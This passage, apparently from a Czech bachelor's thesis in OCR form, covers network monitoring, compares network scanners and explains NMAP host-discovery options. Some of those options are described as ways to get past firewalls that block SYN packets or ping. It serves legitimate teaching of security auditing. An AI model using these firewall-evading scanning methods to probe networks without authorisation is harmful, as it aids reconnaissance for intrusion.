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ANOTACE

Bakalarska prace se zameéruje na provereni bezpecnosti a konfigurace sitové infrastruk-
tury pomoct nastroje NMAP. V teoretické casti je nejprve zdiivodneni pro zarazeni skenova-
cich technik do monitorovani sité. V dalsi casti prace byly porovndany vybrané sitové skenery
a samostatna kapitola se venuje nastroji NMAP. Prakticka cast realizuje na navrhnuté sitové

topologii jednotlivé metody skenovani pomoci nastoje NMAP.

KLICOVA SLOVA
Detekce, Firewall, ICMP, NMAP, sit, skenovani, TCP, UDP

TITLE
NMAP use cases.

ANNOTATION

The bachelor’s thesis focuses on security and configuration of network infrastructure
using NMAP tool. In the theoretical part, there is a justification for the inclusion of scanning
techniques in network monitoring. In the next part of the thesis, selected network scanners
were compared and a separate chapter is devoted to the NMAP tool. The practical part im-

plements individual methods of scanning using the NMAP tool on the proposed network topo-
logy.

KEYWORDS
Detect, Network, NMAP, Scanning, TCP, UDP.
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UVOD

Ve svéte téméet nejsou spolecnosti, ve kterych by se dnes nepouzivaly informacni tech-
nologie. Casto malé spole¢nosti nemaji prostfedky pro nakup kvalitnich programi a zafizeni,
a toto byva disledkem toho, Ze levna zatizeni mohou mit vypadek v kterykoli moment. Oproti
tomu kvalitni zafizeni maji zaruku proti vypadkiim. Také se Casto stava, ze v jedné spolecnosti
mize byt mnoho zatfizeni od riznych vyrobcti. To neni velky problém, pokud se to tyka pra-
covnich stanic, ale pokud se to tykéa sitové infrastruktury, kde si sit’ spolecnosti je slozena
ze zatizeni od rliznych vyrobct, tak nastava situace, ze tyto zatizeni nemohou spolupracovat
na 100 procent. Tento stav otvird moznost pro hrozby utokl a prolomeni sitové infrastruktury
spolecnosti. Takova situace nastava, kdyz spolecnost nema prostiedky pro ndkup zatizeni
od jednoho vyrobce. Samoziejmé, v nékterych piipadech mohou byt v siti spolecnosti zatizeni
od riiznych vyrobct, ale v jednom segmentu sit¢ by mélo byt zafizeni od jednoho vyrobce.

Cilem bakalaiské prace je vyzkousSet a popsat riizné moznosti nasazeni sitového open-

source skeneru NMAP. K dosaZeni tohoto cile je zapotiebi provést nasledujici ukoly:

= Zvazit cile monitorovani sitové infrastruktury.
= Poskytnout ptehled softwaru pro monitorovani sitové infrastruktury.

= Provést testovani siti a interpretovat vysledky.

12



1 MONITOROVANI SITOVE INFRASTRUKTURY

1.1 DEFINICE SITOVE INFRASTRUKTURY

Spolehlivé sitova infrastruktura je v soucasné dobé nutnym pozadavkem pro efektivni
a uspésné fungovani jakékoliv firmny. Naroky na ni kladené se neustéle v souvislosti se vzrus-
tajici potiebou komunikace v realném case navysuji, a to jak uvniti firmy, tak pfi internetové
komunikaci.

Sitova infrastruktura musi zajistit bezpecné a spolehlivé provozovani vSech komponent
firemni IT struktury, at’ uz jde o interni systémy nebo o aplikace, urcené k poskytovani sluzeb
zakaznikim. Mezi typické sluzby, které musi sitova infrastruktura zajistit, patii predev§im za-
jisténi LAN a WAN komunikace, sdileni a centralni ukladani dat a zajistény ptistup k internetu.
Vzhledem k tomu, Ze se musi pocitat s ristem a rozvojem firmy, tak dal§im dulezitym poza-
davkem na sitovou infrastrukturu, kromé vysokého stupné jeji spolehlivosti a bezpec¢nosti, se
stava moznost jejiho dalSiho rozsifovani. Flexibilita a moznost dynamického ristu sitové in-
frastruktury se stavaji nutnymi pozadavky zejména v souvislosti s rychlym rozvojem multime-
didlnich aplikaci. Zcela logicky pfi provozovani téchto aplikaci naro¢nych na vysokou spoleh-
livost a propustnost sitové infrastruktury vzristaji i pozadavky na bezpecné oddé¢leni této
komunikace, zejména v téch ptipadech, kdy se jednd o interaktivni pfistup uzivateld.

Hierarchicky tfi-vrstvy model LAN (viz. Obrazek 1.1), kterou doporucuje spole¢nost
Cisco Systems, se sklada z principu redundance sitovych prvkl. Hierarchicky model se sklada

z 3 vrstev:

=  Jadro (Core layer) — jadro je v hierarchickém modelu vysokorychlostni patef sit€ a je nejvyssi
vrtsvou v hierarchickém sitovém modelu. Pro podnikové komunikace zprostredkovava vyso-
korychlostni spojeni s vné€jsi pateini siti a mize propojovat datova centra nebo podniky. Pro
komunikaci pouziva vysokorychlostni smérovace nebo pirepinace. Je rozhodujici v propojeni
zatizeni distribucni vrstvy, tudiz na spolehlivost je kladen obrovsky diiraz.

= Distribu¢ni vrstva (Distribution Layer) — hlavni fukci této vrstvy je agregace datového pro-
vozu, piistup k jednotlivym oddélenim nebo pracovnim skupinam, oddélovani v§esmerovych
domén, redistribuce mezi smérovacimi protokoly, filtrovani provozu podle ptistupovych se-
znamil, statické smérovani. Vytvafti spojeni s vrstvou jadra. V této vrstvé se pouzivaji velmi
vykonné smérovace, které ktera maji vysokou dostupnost a redundanci k zaruceni bezporu-
chovosti.;

vvvvv

stupové vrstvy je pripojit koncova zafizeni k siti a kontrolovat, ktera zaiizeni maji povoleno v
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siti komunikovat. Koncova zatizeni jsou pfedstavovana koncovymi stanicemi, IP telefony, tis-
karnami a periferiemi, které jsou pfipojeny do piepinacti nebo bezdratovych ptistupovych

boddl..

Three separate broadcast domains

Obrazek 1 Hierarchicky tfivrstvy model LAN

Zdroj: Prevzato z [1]

1.2 POUZIVANI NASTROJU PRO ZABEZPECENI LAN

Spravna konstrukce a sprava sitové infrastruktury je klicem k efektivnimu pienosu dat.
Na zakladé¢ sitové infrastruktury funguji sluzby, které zajist'uji integritu informaci. Dostupnost
sluzeb a informaci je kli¢em k tispéSnému fungovani organizace. [5]

Dulezitym prvkem procesu fizeni sitové infrastruktury je zajisténi bezpecnosti sité. Po-
ruseni informacéni bezpecnosti vede ke ztraté a poruseni integrity informaci. Nedostatek sys-
témi pro obnovu vykonnosti sitové infrastruktury mize vést k nenapravitelnym nésledkiim
amuze dlouhodobé zastavit provoz podniku. Dostupnost vymeény zafizeni znamena,
ze je mozné rychle odstranit vypadky sité¢ v nouzovych situacich. Zalohovani dat umoziuje ob-
novit data v piipadé poSkozeni diskd. Zalozni napajeni eliminuje vypadek sitové infrastruktury

v piipadé vypadku napajeni.

1.3 MANAGEMENT SITOVE INFRASTRUKTURY

Vesker¢ sitové zafizeni zpravidla zajist'uje spravce, ktery pracuje na plny tivazek. Jeho

pracovni rozvrh by mél byt nésledujici:

= zkontrolovat provoz serveru,
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= yjistit se, Ze sitové, poStovni a ostatni aplikace funguji spravng;

= provést zkusebni pripojeni ke kazdému ze servert;

= zkontrolovat volny prostor na disku, pamét’ RAM a dalsi kapacity;
= yjistit se, ze sitova zafizeni funguji;

= zkontrolovat proces zalohovani.

Ovéfovani zafizeni je vyZzadovano pro v€asné zjisténi chyb. Pokud nebude v¢as odha-
lena chyba nebo problém béhem provozu zatizeni, mize to mit za disledek nevratné nasledky.
[6]

Pokud napftiklad dojde k ndhlému zaplnéni volného mista na disku, ktery je pouzivan
pro zalohovani dat, nebudete mit pozd¢ji vSechna data potfebnd k jejich obnoveni v ptipadé
n¢jakého problému. Ale ne kazdy spravce je diisledny a mize obcas prosté zapomenout pro-
vést n¢jakou planovanou kontrolu. V tomto piipadé budou manazerim spole¢nosti poméhat
specialni monitorovaci systémy, které budou provadét vSechny prace automaticky.Funkce sys-

téml monitorovani sitové infrastruktury:

* monitorovani pracovnich stanic;

* monitorovani servert, které jsou zaloZzené na riznych operacnich systémech;
= ovétovani dostupnosti lokalit;

* monitorovani provozu serverovych a klientskych aplikaci;

* monitorovani tiskaren, skenerd a dalSich sitovych zatizeni;

* posilani oznameni a zpravy na e-mailovou adresu nebo v sms;

= sestavovani grafii a mnohem vice.

Velmi diilezitou otazkou je také konfigurace a podpora sitové infrastruktury. Kazdy rok
nartsta vykon serveri a rychlosti. To znamena, ze je zapotiebi v€asna a profesionalni podpora,
a taktéz je zapotiebi okamzité feSeni soucasnych a budoucich tikold, které mohou nastat. Cim
vys$§i jsou pozadavky na sitovou infrastrukturu, tim vice je potfeba pouzivat fadu ucinnych
a funk¢nich zatizeni. Navic jsou zapotiebi hlubsi znalosti a zkuSenosti s budovanim komplexni
sitové infrastruktury. Na to by mélo byt pamatovano a vcas feseno. [8]

Také by spolecnost méla pravidelné provadét audit sitové infrastruktury. Tento soubor
opatfeni je zamé&fen na urceni stavu, v némz je organizacni slozka spolecnosti v souc¢asné dobé
umisténa, a hledani nejzranitelnéjSich mist. Na zaklad¢ vysledkt takového auditu je sestavena
zvlastni zprava, ve které bude zobrazen soucasny stav sitové infrastruktury a bude navrzena

organizace provozu a udrzby sitové infrastruktury. [5]
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2 SITOVE NASTROJE PRO SKENOVANI SITI

Skenovani sit€¢ — jeden z prvnich kroki pro proces utoku nebo hledani slabin v siti. Skenovani
siti umoziuje definovat nejvice zranitelné zafizeni a nezabezpecené oteviené porty. Kazdé si-
tové zafizeni obsahuje fadu spousténych sluzeb. Skenovani siti umoznuje nalézt tyto sluzby,
a také umozituje uréit verzi operaéniho systému, ktery bézi na zatizeni. Cim vice je spous-

téno sluzeb, tim vice slabych mist ma zatizeni z dlivodu toho, Ze kazdy program ma slabiny.

V této kapitole budou také predstaveny vybrané volné dostupné a komer¢ni skenery vcetné

jejich hlavnich vlastnosti.

2.1 FING

Fing — bezplatny a rychly sitovy skener, ktery informuje uzivatele tabletii, notebookd,
tabletli a pocitacti o podrobnostech bezdratového pfipojeni. Skener identifikuje zatizeni piipo-
jena k jakékoli siti Wi-Fi, zobrazi tyto zafizeni, detekuje vetielce, posuzuje rizika zabezpeceni
sité, odstraiiuje problémy se siti a dosahuje nejlepsi vykonnosti sit¢ pomoci nejpopularnéjsich

sitovych nastrojii na svéteé. Rozsah Cinnosti sitového skeneru Fing je nasledujici:

= skener Wi-Fi/ LAN: najde vSechna zafizeni pfipojena k libovolné siti;

* kompletni udaje o zafizeni, v¢etn¢ adresy IP, adresy MAC, nazvu zafizeni, dodavatele, vy-
robce zafizeni, atd;

* pokrocila analyza nazvi NetBIOS, UPNP a Bonjour, vlastnosti a typt zafizeni;

= inventarizaci zafizeni a siti;

= zkontroluje ptipojeni k Internetu;

= analyza a umisténi poskytovatele;

= skener podsiti;

»  Wake-on-LAN — vzdalené vypnuti a odesilani sitovych zprav;

» vyhledavani DNS a reverzni vyhledavani DNS;

» pfipojeni k portim (prohlize¢, SSH, FTP);

= detekce naruSeni sité;

= autonomni monitorovani site;

* podpora identifikace zatizeni pomoci IP adresy pro piemosténé site.

16



2.2 ZENMAP

Zenmap je grafickd nadstavba pro Nmap Security Scanner. Je zdarma a bézi na systé-
mech Linux, Windows, Mac OS X atd. Cilem programu Zenmap je usnadnit pochopeni vy-
sledkt ¢innosti Nmapu pro zacatecniky a obsahuje taktéZ pokrocilé funkce pro zkuSené uziva-
tele Nmapu. Casto pouzivané skenovani lze uloZit jako profil, takZe je 1ze snadno opakovat. [5]

Vysledky skenovani 1ze pozdéji ulozit a zobrazit. Ulozené vysledky skenovani lze vza-
jemn¢ porovnavat a zjistit, jak se li$i. Vysledky nejnovéjsich kontrol jsou ulozeny v databazi,

kterou lze prohledavat.

2.3 ANGRY IP SCANNER

Angry IP Scanner je velmi rychly IP a port skener. Umi skenovat adresy IP v libovol-
ném rozsahu, stejn¢ tak umoziuje skenovat libovolny port. Je to multiplatformni a uzivatelsky
ptivétivy program. Bez nutnosti instalace je mozné jej libovolné kopirovat a pouzivat kdekoli.

Angry IP scanner jednoduse testuje kazdou IP adresu, aby zkontroloval, zda zafizeni
funguje, a poté se pokusi zjistit ndzev hostitele, MAC adresu, prohleda porty apod. Mnozstvi
shromazdénych dat o kazdém hostiteli 1ze rozsitit pomoci plugini.

Ma také dalsi funkce, jako jsou informace o NetBIOS (ndzev pocitace, ndzev pracovni
skupiny a aktualné piihlaseny uzivatel v systému Windows), vybrané rozsahy adres IP, zjisténi
webovych serverd.

Vysledky skenovani mohou byt ulozeny v souborech CSV, TXT, XML nebo IP-Port.
S pomoci pluginti mize Angry IP Scanner shromazd’'ovat veskeré informace o ovétenych IP
adresach. Kazdy, kdo umi napsat kod v jazyce Java, tak miize také psat pluginy a rozsifit
si funkce v Angry IP Scanner.

Chcete-li zvysit rychlost skenovani, pouziva se piistup s vice vlakny: pro kazdou naske-

novanou adresu IP je vytvofen samostatny proud pro skenovani.

2.4 ADVANCED IP SCANNER

Spolehlivy a volné dostupny sitovy skener pro analyzu lokalni sité. Program zobrazuje
vSechna sitova zafizeni, umoznuje piistup ke sdilenym slozkam, poskytuje dalkové ovladani

pocitact (pfes RDP a Radmin) a mlize dokonce vzdéalené vypnout pocitace.
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2.5 SOFTPERFECT NETWORK SCANNER

Softperfect Network Scanner je predstavitelem komer¢niho skeneru pro IPv4/IPv6 ad-
resy. Tento sitovy skener dokaze skenovat pocitace, skenovat porty, detekovat sdilené slozky
a ziskavat téméf vesSkeré informace o sitovych zatfizenich prostfednictvim protokoldt WMI,
SNMP, HTTP, SSH a PowerShell. Také prohledava vzdalené sluzby, registry, soubory, dokaze
m¢éfit vykon zafizeni, nabizi flexibilni moznosti filtrovani, zobrazeni a exportuje vysledky Net-
Scan do riznych formatt, napt. XML, JSON, apod.

Vycet jeho funkci:

= plné podporuje jak detekci protokolu IPv4, tak protokol IPv6;

= provede skenovani za pouziti funkce ping a zobrazi vSechna aktivni zafizeni;

= detekuje hardwarové MAC adresy i mezi smérovaci;

= detekuje oteviené a skryté sdilené slozky;

» detekuje interni i externi adresy IP;

»  ziskava informace o systému prostiednictvim sluzby WMI, vzdaleného registru, souborového
systému a spravce sluzeb;

= ziskava informace o aktudlné zaregistrovanych uzivatelich, nakonfigurované uzivatelské ucty,
pracovni ¢as, atd,;

= podporuje vzdalené spusténi SSH, PowerShell a VBScript;

* umoznuje spoustét externi aplikace tietich stran;

* podpora Wake-on-LAN, vzdalené vypnuti a odesilani sitovych zprav;

= exportuje vysledky do formatu HTML, XML, JSON, CSV a TXT;

» |ze spustit z jednotky USB bez potieby instalace.

2.6 NSAUDITOR NETWORK SECURITY AUDITOR

Network Security Auditor Nsauditor je komer¢ni sitovy bezpecnostni skener, ktery
umoziuje kontrolovat a monitorovat sitové pocitace pro mozné zranitelnosti, kontroluje sit’
pro jeji zranitelnost proti vSem moznym metodam, které miize hacker pouzit k atoku. Nsauditor
je kompletni bali¢ek sitovych utilit, ktery obsahuje vice nez 45 sitovych néstroji pro audit site,

skenovani, monitorovani atd. [7]
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3 NASTROJ NMAP

Network Mapper (NMAP) je programovatelny produkt s otevienym zdrojovym kodem
pro testovani a sledovani bezpecnosti sité. Network Mapper pouziva IP pakety, které umoziuji
definovat konkrétni hostitele a poskytovatele sluzeb, ¢imz identifikuje jakykoli operacni sys-
tém, naptiklad nédzev operacniho systému a dalsi informace. [3]

Network Mapper umoznuje fidit zabezpeceni, kontrolovat strukturu sité, fizeni a ¢aso-
vani pocitace a programovatelné ulohy. Spravce Network Mapper nacte seznam uvedenych
ukolt s popisy. Tabulka portli zobrazuje nasledujici parametry: Cisla portl, protokoly, nazvy

sluzeb a pfihlasSovaci jména. Mozné stavy porti: nefiltrované, filtrované, oteviené, uzaviené.

= Otevieny - znamena, Ze aplikace je pfipravena k instalaci soketlim a pfijmu paketti na datovém
portu;

» Filtrovan - znamena, Ze mate nastaven filtr a Network Mapper nemtize urcit stav ote-
vieny/uzavieny port;

= Uzavieny, kdyz neni spojeni s Zadnou sluzbou a nemohou byt ihned otevieny;

» Nefiltrovany - porty, které byly namapovany na Network Mapper, ale Network Mapper ne-

muze identifikovat otevieny nebo uzavieny port.

Nmap vypiSe kombinace otevieny/filtrovany a zavienyl|filtrovany, kdyZz nemiiZe zjistit,
v jakém stavu je port. Pro skenovani portli miizete také ziskat ptistup k informacim o verzi soft-
waru, kterd je k dispozici pfi konfiguraci nastaveni. Pii skenovani IP (-sO) poskytuje Network
Mapper informace o protokolu IP.

Pokrocilé moznosti mapovace sit€¢ umoziuji ziskat dalsi informace o operacnim sys-

tému, nazvech DNS, adresach MAC a typy zafizeni. [5]

3.1 HLEDANI “ZIVYCH” PRVKU V SITI

Dtlezitou funkci sitového mapovace je urceni seznamu aktivnich hostitelt. Skenovani
kazdého portu kazdé adresy IP je neti¢inné a zbyte¢né. Hostitel je zajimavy pro vysetfovani
podle parametrii nastavenych administratorem, naptiklad hledani hostitelti s konkrétni spusté-
nou sluzbou nebo vyhledavani zatizeni s adresami IP. [3]

Network Mapper ma velky pocet moznosti skenovani pro rizné tkoly spravy. Skeno-
vani NMAP je mnohem efektivnéjsi nez skenovani pouzitim ping metody. Moznost ping scan
muze byt jednoduse zakdzana (-PN), je mozné skenovat porty s libovolnymi kombinacemi vice

portt TCP SYN/ACK, UDP a ICMP pozadavka.
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Pozadavky smétuji k identifikaci aktivnich adres IP (pouzivanych hostitelskym/sito-
vym zafizenim). Ve vétSin€ piipadi je soucasné aktivni pouze zlomek adres IP. Pokud nejsou
nastaveny moznosti skenovani, sitovy Mapper odesle paket TCP ACK na port 80 a pozadavek
na odpovéd’ ICMP pro kazdy cil. [5]

Moznosti -P* — Typ volby ping scan. Chcete-li obejit branu firewall, miZzete odesilat
pozadavky riznych typti pomoci portt / ptiznakid TCP a koédi ICMP. Vychozi hodnota je ske-
novani ARP (-PR), ktera je rychla a efektivni.

KdyzZ jsou detekovani aktivni hostitelé, sitovy mapovac pokracuje v prohledavani porti
téchto hostiteld.

-sLL — Moznost konfigurace detekce hostitele. ZjednoduSena detekce hostitele, ur¢ena
k vytvoreni seznamu hostiteld pro danou podsit’. [5]

-sP — MozZnost ping-scan, ktera zobrazuje seznam dostupnych hostiteli, ktefi reagovali
na pozadavky. Jsou pouZzivany definice tras a také skripty NSE, ale porty nebo software skeno-
vany nejsou. Vychozi volba odesle pozadavek na odezvu ICMP a paket TCP ACK na port
80. Pokud je pouzivan neopravnénym uzivatelem, je odeslan pouze paket SYN (pomoci ptipo-
jeni systémového volani) k portu 80 cilového pocitace. Kdyz privilegovany uZzivatel prohleda
lokalni sitové cile, pozadavky ARP se pouZzivaji tak dlouho, dokud neni zadan parametr -send-
ip. Pro vétsi flexibilitu 1ze volbu -sP kombinovat s libovolnou z moznosti -P * (s vyjimkou -
PN). Pokud se pouziva néktery z téchto typi pozadavki a je mozné nastavit ¢isla portt, tak vy-
chozi pozadavky (ACK a tato odpoveéd’) jsou vynechany. Je-li mezi piistrojem a sitovou ma-
povaci jednotkou umistén ptisny firewall, tak se doporucuje pouziti takovych pokrocilych me-
tod skenovani. Jinak nemusi byt nékteré hostitele definovany, protoZe brana firewall blokovala
tento pozadavek nebo odpovéd'.

-PN — Zakézat ping scan. Network Mapper pteskoc¢i fazi vyhledavani hostitele. Ve vy-
chozim nastaveni sitovy mapovac provadi hloubkovou kontrolu, jako je skenovani portd, de-
tekce verzi nebo detekce OS jiz pouze zjisténych pracovnich pocitacti. Po vypnuti faze zjisto-
vani hostitele pomoci volby -PN bude Network Mapper prohleddvat kazdou danou cilovou
adresu IP. Pokud je pro skenovani definovéana sit’ s adresou tfidy B (/16), bude prohledano
vSech 65 536 adres IP. Krok vyhledani hostiteld a sestaveni seznamu cilli pro skenovani je pre-
skocen, Network Mapper provede pozadované funkce, jako kdyby byla kazda adresa IP aktivni.

Pro lokalni sitové pocitace bude provedeno skenovani ARP, Network Mapper potiebuje

MAC adresy pro dalsi skenovani cilovych hostitelt. [3]
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-PS <seznam porti> — Volba odesle prazdny paket TCP s piiznakem SYN. Vychozi
port je 80. Alternativni porty jsou nastaveny jako parametry. Mezi seznamem portt a volbou -
PS by neméla byt zddna mezera.

Ptiznak SYN oznacuje, ze se systém pokousi vytvoftit pfipojeni. Pokud je stav portu
je zavieny, vrati se paket RST (reset). Pokud je stav portu je otevieny, systém provede druhy
krok v tfistupiovém posloupnosti vytvoieni pfipojeni TCP odpovédi na paket SYN/ACK TCP.

Pro Network Mapper neni podstatné, zda je port otevieny nebo uzavieny. Odpovédi
typu RST nebo SYN/ACK ukazuji, Ze hostitel je k dispozici a mliZze reagovat na pozadavky. [3]

Na pocitac¢ich Unix mize odesilat / pfijimat neopracované pakety TCP pouze uzivatel
s opravnénim root. Pro neoprdvnéného uZzivatele je vytvofen pozadavek k pfipojeni. Proto
se pii pokusu o pripojeni k cilovému hostiteli odesle SYN paket. Pokud pozadavek pro ptipo-
jeni obdrzi rychlou odpovéd’ nebo selhani typu ECONNREFUSED, zasobnik TCP obdrzel pa-
ket SYN / ACK nebo RST a hostitel je oznacen jako dostupny. Pokud pfipojeni neni z divodu
casového limitu vytvoreno, je hostitel oznacen jako nedostupny.

-PA <seznam portti> — Tato moznost nastavi pfiznak TCP ACK namisto pfiznaku SYN.
Paket ACK jeurcen k rozpoznavani dat béhem zavedeného ptipojeni TCP, ale vzhledem
k tomu, Ze takové spojeni neni zavedeno, vzdaleny hostitel bude vzdy reagovat na pozadavek
s paketem RST, ¢imz prozradi svoji existenci.

Volba -PA pouziva stejny vychozi port jako pozadavky SYN (80) a mize také piijmout
seznam portl ve stejném formatu jako parametr. Pokud se o tuto volbu pokusi neprivilegovany
uzivatel nebo je nastaven cil formatu IPv6, pouZzije se mechanismus pomoci zadosti o pfipojeni.
Tento mechanismus je nedokonaly, protoze pti pouziti zadosti o pfipojeni se odesila SYN paket
misto paketu ACK.

Network Mapper poskytuje typy pingli SYN a ACK pro zvySeni pravdépodobnosti obe-
jiti firewallu. Mnoho spravcl nakonfiguruje smérovace nebo jiné jednoduché brany firewall,
které blokuji ptichozi pakety SYN, s vyjimkou téch, které jsou uréeny pro vetejné sluzby, jako
je napfiiklad webova stranka nebo poStovni server. Tim se zabrani vSem ostatnim pfipojenim
a soucasn¢ uzivatelé mohou volné pfistupovat k internetu. Tento piistup nevyzaduje velké
mnozstvi zdrojl z firewalld / smérovaci a je Siroce podporovan rtiznymi hardwarovymi a soft-
warovymi filtry. K provedeni tohoto pfistupu existuje moznost --syn.

Pokud bréana firewall pouziva tato pravidla, pravdépodobné budou blokovany poza-
davky s ptfiznakem SYN (-PS) nastavenym na zavienych portech. V takovych ptipadech
je vhodnéjsi pouzivat pozadavky s ptiznakem ACK z diivodu toho, Ze nespadaji pod tato pra-

vidla. [5]
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DalSim oblibenym typem firewallu je firewall, ktery blokuje vSechny neocekavané pa-
kety. Zpocatku byla tato funkce podporovana pouze v nejpouzivangjSich firewalech. Firewall
Netfilter/iptables zaloZeny na Linuxu implementuje tento mechanismus pomoci volby --state,
kterd kategorizuje pakety na zaklad¢ stavu ptipojeni. Proti takovym systémtim je lepsi pouzivat
SYN pakety z divodu toho, Ze ptijaté neocekavané ACK pravdépodobné budou povazovany
za fale$né a budou blokované. Resenim této situace je odeslani obou pozadavkia SYN a ACK
zadanim voleb -PS a -PA.

-PU <seznam porti> — Funkeci, ktera se pouziva k zjiStovani hostiteli, je UDP ping,
ktery vysila prazdny (pokud neni zadan parametr délky -data) paket UDP k zadanym portim.
Pokud porty nejsou zadany, je vychozi hodnota 31338. Ve vychozim nastaveni je zvolen ne-
znamy port, protoze odesilani pozadavkl na oteviené porty je pro tento typ skenovani neza-
douci. [3]

Ugelem pozadavku UDP je pfijimat v odezvé paket ICMP s informaci o nedosaZitelném
portu. To indikuje sitovému mapovaci, zatfizeni je v provozu a je dostupné. Jiné typy chyb
ICMP, jako naptiklad nedostupnosti hostitele nebo sité nebo pocet skokii vyssi nez TTL, indi-
kuji, ze zatizeni je vypnuté nebo nedostupné. Nedosla odpovéd’ bude interpretovana stejnym
zpusobem. Pokud je takova zadost odesldna na otevieny port, vétSina sluzeb prosté ignoruje
prazdny paket a neposila Zadnou odpovéd’. Vychozi port je proto 31338, ponévadz je neprav-
dépodobné, Ze bude pouzivan jakoukoli sluzbou. Pouze n¢které sluzby, jako naptiklad protokol
generator znaki (chargen), budou reagovat na prazdny paket UDP a to také indikuje sitovému
mapovaci, Ze je zatizeni k dispozici.

Hlavni vyhodou tohoto typu skenovani je to, ze umoziuje obejit firewally, které filtruji
pouze pozadavky TCP.

-PE; -PP; -PM — Krom¢ nestandardnich metod zjist'ovani hostiteld pomoci pozadavki
TCP a UDP miize Network Mapper odesilat standardni pakety. Mapovac sité posle paket ICMP
typu 8 (pozadavek echo) na cilovou adresu IP a ¢eké na odpovéd’ od dostupného hostitele, pa-
ket typu 0 (odpovéd’ echo).

Network Mapper mize pouzivat nejen standardni ping, ale ijiné metody. Standard
ICMP (RFC 792) mimo jiné definuje zadosti o ¢asové razitko, zadosti o udaje a zadosti
o masku adres s kody 13, 15 a 17. I kdyz slouzi k zjiSténi jakychkoli informaci, jako je maska
IP adresy nebo aktudlni ¢as, mohou byt snadno pouzity k detekci cilii. Systém, ktery na né rea-
guje, funguje a je k dispozici. Pozadavky ¢asového razitka nebo adresy masky lze odeslat za-
danim voleb -PP a -PM. Odpovéd’ na pozadavek na ¢asové razitko (ICMP kod 14) nebo na za-
dost masky adresy (kod 18) oznacuje, Ze hostitel je k dispozici. Tyto pozadavky mohou byt
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uzite¢né, kdyz spravci blokuji pingové pakety, ale zapominaji, ze pro stejny tcel mohou byt
pouzity jiné typy pozadavka ICMP.

-PO <seznam protokolt> — Moznost IP pingu, ktera odesle IP pakety s ¢islem protokolu
uvedenym v hlavicce paketu. Seznam protokoll je uveden ve stejném formatu jako seznam
portli ve vyse popsanych volbach detekce hostitele pomoci protokoltt TCP a UDP. Neni-li za-
dén zadny protokol, budou ve vychozim nastaveni pouzity pakety ICMP IP (protokol 1), IGMP
(protokol 2) a IP-in-IP (protokol 4). [5]

Pro ICMP, IGMP, TCP (protokol 6) a UDP (protokol 17) jsou pakety odesilany
se spravnou hlavickou protokolu, zatimco u ostatnich protokold jsou pakety odesilany bez do-
date¢nych informaci nésledujici po IP hlavi¢ce (kdyz neni definovana moznost --data-length).

Pti pouziti této metody se ocekavaji odpovédi podle protokolu plivodni zadosti nebo
zpravy ICMP nedosazitelné, coz naznacuje, Ze tento protokol neni podporovan vzdalenym hos-
titelem. Ob& moznosti odpovédi naznacuji, ze cilovy hostitel je k dispozici.

-PR — ARP ping. Jednou z nejpopularnéjSich aplikaci pro Network Mapper je skeno-
vani mistnich siti (LAN). Ve vétSin€ mistnich siti, zejména téch, které pouzivaji soukromé roz-
sahy adres definované v dokumentu RFC 1918, se v urcitém okamziku nepouziva velké mnoz-
stvi IP adres. KdyZ se sitovy mapovac pokusi odeslat surovy IP paket, naptiklad pozadavek
ICMP echo, operacni systém musi ur¢it adresu MAC (ARP) odpovidajici cilové IP, aby spravné
fesil rdmec.

ARP skenovani umoziiuje sitovému mapovaci pouzit vlastni optimalizované algoritmy
namisto pozadavki ARP. Pokud sitovy mapovac obdrzi odpovéd’, nemusi se ani obavat dalSich
typt detekce hostitelii zalozenych na IP paketech. Diky tomu je skenovani ARP rychlejsi a spo-
lehlivéjsi. Proto je ve vychozim nastaveni pouzivan pro skenovani lokalnich siti. I kdyz jsou
zadany jiné typy skenovani (napiiklad -PE nebo -PS), sitovy mapovac stale pouziva skenovani
ARP pro lokalni sitové pocitace. Zakazat tento typ moznosti skenovani 1ze pomoci: --send-ip.
[5]

--traceroute — Moznost sledovat cestu k hostiteli. Sledovani se provadi po skenovani
a pomoci vysledkd tohoto skenovani se zjisti port a protokol, pomoci kterych Ize dosdhnout
cile. Postup funguje u vSech typi skenovani, s vyjimkou skenovani pomoci systémovych volani
(-sT) a lazy (necinnosti) (-sI). VSechna sledovani pouziva dynamicky ¢asova¢ modelu mapo-
vace sité a bézi paralelné.

Procedura sledovani trasovani funguje tak, Ze posila pakety s nizkou TTL v pokusu zis-
kat ICMP odezvu o vyprSeni ¢asového limitu z mezilehlych uzli mezi mapovacem a cilovém

hostiteli. Standardni provedeni postupu sledovani trasy zvysuje TTL o 1, a pak ji zvySovat
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tak dlouho, dokud se nedosahne cilového hostitele. Pti provadéni tohoto postupu v siti mapo-
vace je tieba nejprve nastavit vysokou TTL, pritbéhem siti TTL klesa, az je TTL rovno 0. Toto
umoziuje mapovaci sité¢ pouzit keSovaci algoritmy, aby se zvysila rychlost sledovani trasy.
Network Mapper v priiméru odesila 5-10 pakettina 1 hostitele, v zavislosti na stavu sité. Pokud
skenujete jedinou podsit’ (napt. 192.168.0.0/24), miize byt postacujici odeslat pouze jeden pa-
ket na hostitele.

--reason — Zobrazit pfiiny stavu portu a hostitele. Tato moznost zobrazuje informace
o divodech, pro které je kazdy port nastaven na jakykoli stav a pro ktery kazdy hostitel pracuje
nebo nepracuje. Tato moznost zobrazuje typ paketu, pro ktery byl urcen stav portu nebo hosti-
tele, RST paketu z uzavieného portu nebo odpovéd’ echa z pracovniho pocitace.

Informace, kterou skener mtize dat, se definuje druhem skenovani nebo pingovani. SYN
skenovani a SYN pingovani (-sS a -PS) jsou podrobné popsany a informace o skenovani po-
moci pifipojeni TCP (-sT) jsou omezeny na implementaci systémového volani connect. Tato
funkce se automaticky aktivuje pti pouziti moznosti ladéni (-d) a vysledky jeji prace jsou ulo-
zeny v souborech XML, a to i v pfipadé, Ze tato volba nebyla zadana. [5]

-n — MozZnost zakazat rozliSovani DNS. Informuje sitovy mapovac, Ze nema rozpozna-
vat nazvy DNS kazdé detekované aktivni adresy IP. RozliSovani DNS muze byt pomalé
1 pfi pouZziti paralelniho resolveru adres IP zabudovaného do nastroje mapovace site, takze tato
moznost miize zkratit dobu skenovani.

-R — Moznost vyfiesit nazvy DNS pro vSechny pfipady. Instrukci sitového mapovace
je vzdy zpétné povolit nazvy DNS pro kazdou cilovou adresu IP. Normalné¢ DNS mapovani
plati pouze pro dostupné hostitele.

--system-dns — Moznost pouzit systémovy resolver DNS. Ve vychozim nastaveni si-
tovy mapovac konvertuje adresy IP zaslanim dotazii pfimo na jmenné servery zadané v sys-
tému a analyzuje odpoveéd’. Mnoho dotazli se provadi paralelné, aby se zvysil vykon. Konvertor
systému se vzdy pouziva pro skenovani pomoci protokolu IPv6.

--dns-servers <serverl> [, <server2> [, ...]] — MoZnost nastaveni serveru pro reverzni
